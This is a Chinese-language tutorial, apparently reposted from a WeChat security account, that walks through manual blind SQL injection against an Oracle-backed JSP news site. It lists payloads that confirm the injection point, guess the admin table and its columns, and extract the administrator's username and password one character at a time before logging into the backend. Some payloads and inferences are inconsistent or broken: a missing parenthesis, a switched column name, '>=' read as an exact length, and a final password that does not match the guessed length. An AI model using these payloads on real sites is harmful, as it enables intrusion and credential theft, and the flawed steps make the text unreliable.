Oracle 数据库系统,是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品。是目前世界上使用最为广泛的,数据库管理系统。那么对于这么一款大型数据库,我们如何来进行手工的注入呢?
演示URL:http://127.0.0.1/news.jsp?id=66 。
1.首先按照惯例,我们先进行是否存在注入点的 简单判断。在 id=66 后面添加:
and 1=1 (返回正常)
and 1=2 (返回错误)
2. 判断一下数据库中的表,网址后加上:
and (select count(*) from admin) <>0 (返回正常则说明存在该表)
在这里如果返回错误,我们可以多尝试其他表明,例如:manager ,username等。
3. 判断下该网站管理员账户有几个:
and (select count(*) from admin)=1 (返回正常说明只有一个管理员)
4.已知表的前提下,判断表中字段结构:
and (select count(name) from admin)>=0 (返回正常,说明存在name字段)
5. 判断表中的密码存放列名:
and (select count(pass) from admin)>=0 (返回正常,说明存在pass字段)
6. 接下来采用ASCII码折半法猜解管理员帐号和密码:
and (select count(*) from admin where length(name)>=5)=1 (返回正常,说明为 5 个字符长度)
7. 再猜测第一个字符的ASCII码的值:
and (select count(*) from admin where ascii(substr(name,1,1))>=97 (返回正常,则说明第一个字符的ASCII码为 97 (a))
依次类推,再猜第二个字符对应的值:
and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 (返回正常,则说明第二个字符的ASCII码为 100(d))
8. 在得到管理员的账户名后,接着我们用同样的方法来获取 pass :
and (select count(*) from admin where length(pass)>=8)=1 (返回正常,则密码长度为 8 位,同样说明为明文密码串!)
9. 猜测pass列第一个字符的ASCII码的值:
and (select count(*) from admin where ascii(substr(pass,1,1))>=97)=1 (返回正常,则第一个字符为 97 (a) )
依次类推,再猜第二个字符对应的值:
and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1 (返回正常,则说明第二个字符的ASCII码为 100(d))
10. 登录后台:
登录地址:http://127.0.0.1/login.jsp 。输入我们猜解出的账户密码 admin admin888 来进行登录即可!
本文始发于微信公众号(飓风网络安全):Oracle数据库手工注入详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论